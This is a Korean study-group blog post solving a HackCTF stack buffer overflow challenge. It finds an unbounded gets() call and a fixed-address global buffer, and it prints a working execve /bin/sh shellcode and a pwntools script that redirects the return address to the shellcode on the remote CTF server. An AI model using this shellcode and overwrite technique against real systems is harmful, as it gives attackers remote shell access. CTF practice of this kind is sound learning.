스터디 그룹/ProjectH4C

ProjectH4C 3개월 1주차 과제(HackCTF - 내 버퍼가 흘러넘친다!!!)

버퍼가 흘러 넘친다라는 말은 매우 BOF로 받아들여진다.

 

문제를 좀 더 분석해보도록 하자.

 


📖 1) 문제 파악

실행이랑 출력은 매우 정상적으로 이루어진다. 

main 함수에서는 별 다른 이상한것은 보이지 않는다.

read, gets에서 어떻게 취약점이 발생할 수는 있을 것 같다.

 

다른 함수들이 있는 지도 확인해보자. 

헉 의심이 가는 함수들도 존재하지 않는다. 혹시 셸코드를 써야하는 문제인가 ???

 

IDA로 뜯어보도록 하자.

 

으으으으으으으음,,,,,,, 우선 gets에서 받는 값을 지정해주고 있지 않다.

비록 s는 20바이트만큼 선언되었지만, 어떻게 어떻게 해볼 수 있을 것 같다. 아니면 name으로 s 버퍼를 덮어버릴 수도 있긴 하겠다.

 


📖 2) 문제 분석

우선 쉘코드를 넣어야 한다고 생각했다. 그 쉘코드를 어디에, 어떻게 넣어야 할까.

 

먼저 s는 main함수에 선언이 되어있지만, name이라는 변수는 그렇지 않다. 즉, 전역 변수로 생성이 된 것 같다.

그럼 고정적인 주소를 사용할 것이다.

0804A060이 주소임을 확인할 수 있다. 그럼 name 변수의 크기를 얼마나 사용할까?

 

이렇게 nbytes를 50으로 정해주는것을 확인할 수 있다. 즉 name에 50바이트를 넘겨준다는 소리이다.

 

쉘코드를 쓰기에는 충분하다고 생각된다.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 

 

이런 25바이트짜리 쉘코드를 사용해보자.

 

그럼 name은 여기까지 알아보고, 다시 s가 존재하는 스택을 확인해보자.

스택은 이렇게 생겼다. 어차피 함수가 종료될 때 저 RET에 위치해있는 주소값으로 다시 돌아가지는데,

저 주소를 name 주소로 바꿀 것이다. 그럼 name 주소에 위치한 코드가 실행된다. 즉 쉘코드가 실행된다.

 

다시 정리하자면, name : 쉘코드

S : "A" * 24 + name주소

 

이렇게 생각하면 되겠다.

 


📖 3) 문제 풀이

우선 name 변수는 0804A060 이 위치에 고정되어있다. 이제 페이로드를 작성해보자.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3003)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
name_addr = "\x60\xA0\x04\x08"

first_payload = shellcode
second_payload = "A"*24 + name_addr

p.recvuntil("Name : ")
p.sendline(first_payload)

p.recvuntil("input : ")
p.sendline(second_payload)

p.interactive()

 

문제를 풀었다.

 


📖 4) 문제 해결, 느낀 점

아직 내 실력이 늘어난다는 생각은 전혀 안든다. (당연히 이제 4문제 풀었는데;;;;;;;)

하지만 이런식으로 공부하다 보면 어느 순간 내가 짱짱해커가 되어 있을 지도...?